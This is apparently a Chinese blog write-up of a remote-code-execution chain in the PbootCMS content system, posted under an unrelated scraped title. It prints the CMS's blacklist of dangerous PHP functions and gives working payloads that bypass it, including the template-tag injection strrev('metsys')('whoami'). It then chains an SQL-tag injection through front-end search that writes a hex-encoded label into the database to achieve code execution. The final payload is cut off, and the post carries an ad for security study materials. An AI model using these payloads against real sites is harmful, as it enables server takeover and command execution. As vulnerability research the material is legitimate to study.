php正则函数抓取网页连接( 渗透测试、学习视频300PDF等你学习(一) )

优采云 发布时间: 2022-03-16 03:14

  php正则函数抓取网页连接(

渗透测试、学习视频300PDF等你学习(一)

)

  

  前言

  本文记录前端RCE的挖矿过程。由于cms前几天才修复,所以记录下挖矿过程

  然后直接看代码,首先目标还是解析if标签的代码块,看三个规律

  /\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/

/([\w]+)([\x00-\x1F\x7F\/\*\\%\w\s\\\\]+)?\(/i

/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i

  如果您没有耐心阅读它,请参阅此处:

  我是一名网络安全工作者。我喜欢安全,爱安全。另外,我整理了一些渗透测试,学习视频300PDF等,供大家学习(文字只是正文的一部分)。如果你有兴趣,你可以保存并阅读它。

  需要300PDF网络安全资料请关注我: 私信回复“资料”,获取更多网络安全采访资料、源码、笔记、视频架构技术

  与上一版本相比,第三条规则更多(([\w\s.]+))如图

  

  这里猜测是开发者想在if标签中禁止条件代码段中括号的内容,但是经过测试xxx(“xxx”)的形式可以忽略规律,不影响我们的代码执行,现在if我们可以直接编辑模板,以执行系统功能为目标,研究如何执行代码;

  为了绕过系统的定期检查,可以使用以下方法绕过

  strrev('metsys')('whoami');

  那么很容易想到使用下面的payload测试

  {pboot:if(1) strrev('metsys')('whoami');//)}y7m01i{/pboot:if}

  测试后会发现无法执行,因为无法绕过第二条规律。我们可以通过简单的输出打印程序的安全验证。

  

  

  可以看到这里strrev是一个定义好的函数,所以语句被截取了,那我们试试在strrev前面加一些字符看看情况

  {pboot:if(1) xxx strrev('metsys')('whoami');//)}y7m01i{/pboot:if}

  

  可以看到有eval执行错误信息,说明我们成功绕过了验证,eval执行了我们输入的内容,但是执行当前内容的时候出错了,所以接下来的目标就很明确了,我们我需要找一个可以替换xxx的内容,这样eval执行就不会报错;经过搜索,我找到了这样的内容

  

  只是为了测试

  

  确实符合我们的要求,试试下面的payload

  {pboot:if(1) echo strrev('metsys')('whoami');//)}y7m01i{/pboot:if}

  

  成功执行系统功能后,经过思考和测试,也可以使用注释,如下

  {pboot:if(1) /*y*/ strrev('metsys')('whoami');//)}y7m01i{/pboot:if}

  但是像这样执行命令是不够的。我们需要找到一个用户可控的点来解析 if 标签。在上面的参考 文章 中,我们可以很容易地解析我们在前台搜索函数中输入的内容。标签,并用于替换 pboot@如果你可以使用

  

  {pboot{user:password}:if

  

  此表单被绕过,但在此版本中删除了 decode_string 函数。单引号和双引号在标签解析时被编码,无法正常解析。但是从前面的分析可知,我们当前的使用方式需要使用双引号来绕过第二次正则检查,目前暂时无法在前台搜索中使用,所以需要查找是否有其他使用方式,并配合我们目前拥有的条件使用。

  在查看 cms 更改日志时,我发现了这个描述

  

  程序新增了一个解析sql的标签,这意味着我们可以在前台使用搜索功能来执行我们想要的sql语句。这时,我的脑海中初步出现了一条应用链;我们知道,在以前的版本中,我们可以使用后台配置中插入的标签语句,最终语句存储在数据库中。如果我们可以使用前台搜索功能执行sql语句并将标签插入到数据库中,我们可以直接RCE跨后台配置功能,那么目前我们面临两个问题需要澄清;

  1.标签应该写在哪个表的那个字段

  2.前端搜索函数如何执行我们的sql语句

  首先,第一个问题很容易解决。在之前的版本中,我们在站点信息的尾部信息处写了label,对应ay_site表中的copyright字段,所以写label的初始语句为:

  update ay_site set copyright= (标签的16进制,避免引号) where id = 1;

  接下来我们看一下解析sql标签的代码

   // 解析自定义SQL循环

public function parserSqlListLabel($content)

{

$pattern = '/\{pboot:sql(\s+[^}]+)?\}([\s\S]*?)\{\/pboot:sql\}/';

$pattern2 = '/\[sql:([\w]+)(\s+[^]]+)?\]/';

if (preg_match_all($pattern, $content, $matches)) {

$count = count($matches[0]);

for ($i = 0; $i < $count; $i ++) {

// 获取调节参数

$params = $this->parserParam($matches[1][$i]);

if (! self::checkLabelLevel($params)) {

$content = str_replace($matches[0][$i], &#39;&#39;, $content);

continue;

}

$num = 1000; // 最大读取1000条

$sql = &#39;&#39;;

foreach ($params as $key => $value) {

switch ($key) {

case &#39;num&#39;:

$num = $value;

break;

case &#39;sql&#39;:

$sql = $value;

break;

}

}

// 特殊表不允许输出

if (preg_match(&#39;/ay_user|ay_member/i&#39;, $sql)) {

$content = str_replace($matches[0][$i], &#39;&#39;, $content);

continue;

}

// 判断是否有条数限制

if ($num && ! preg_match(&#39;/limit/i&#39;, $sql)) {

$sql .= " limit " . $num;

}

// 读取数据

if (! $data = $this->model->all($sql)) {

$content = str_replace($matches[0][$i], &#39;&#39;, $content);

continue;

}

// 匹配到内部标签

if (preg_match_all($pattern2, $matches[2][$i], $matches2)) {

$count2 = count($matches2[0]); // 循环内的内容标签数量

} else {

$count2 = 0;

}

$out_html = &#39;&#39;;

$pagenum = defined(&#39;PAGE&#39;) ? PAGE : 1;

$key = ($pagenum - 1) * $num + 1;

foreach ($data as $value) { // 按查询数据条数循环

$one_html = $matches[2][$i];

for ($j = 0; $j < $count2; $j ++) { // 循环替换数据

$params = $this->parserParam($matches2[2][$j]);

switch ($matches2[1][$j]) {

case &#39;n&#39;:

$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key) - 1, $one_html);

break;

case &#39;i&#39;:

$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key), $one_html);

break;

default:

if (isset($value->{$matches2[1][$j]})) {

$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $value->{$matches2[1][$j]}), $one_html);

}

}

}

$key ++;

$out_html .= $one_html;

}

$content = str_replace($matches[0][$i], $out_html, $content);

}

}

return $content;

}

  安全过滤器之一

  

  sql语句不允许对ay_user和ay_member这两张表进行操作,但是不影响我们往数据库写标签;然后看这段代码,重点是this-&gt;parserParam(this-&gt;parserParam(this-&gt;parserParam(matches[1][$i]);,

  跟进方法

  

  让我们打印解析后的内容,并使用以下标签进行测试

  {pboot:sql sql=update ay_site set copyright= 0x68656c6c6f where id = 1;#}11{/pboot:sql}

  

  该语句未正确解析。仔细看源码,应该是split语句的规律性匹配的。尝试用评论替换空格。

  {pboot:sql sql=update/**/ay_site/**/set/**/copyright=/**/0x68656c6c6f/**/where/**/id/**/=/**/1;#}11{/pboot:s

  

  成功解析到我们想要的语句,去前台执行

  

  数据库中的内容已经更新成功,将hello替换为我们的label语句

  {pboot:sql sql=update//ay_site//set//copyright=//0x67b70626f6f747b757365723a70617373776f72647d3a6966283129656368

  

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线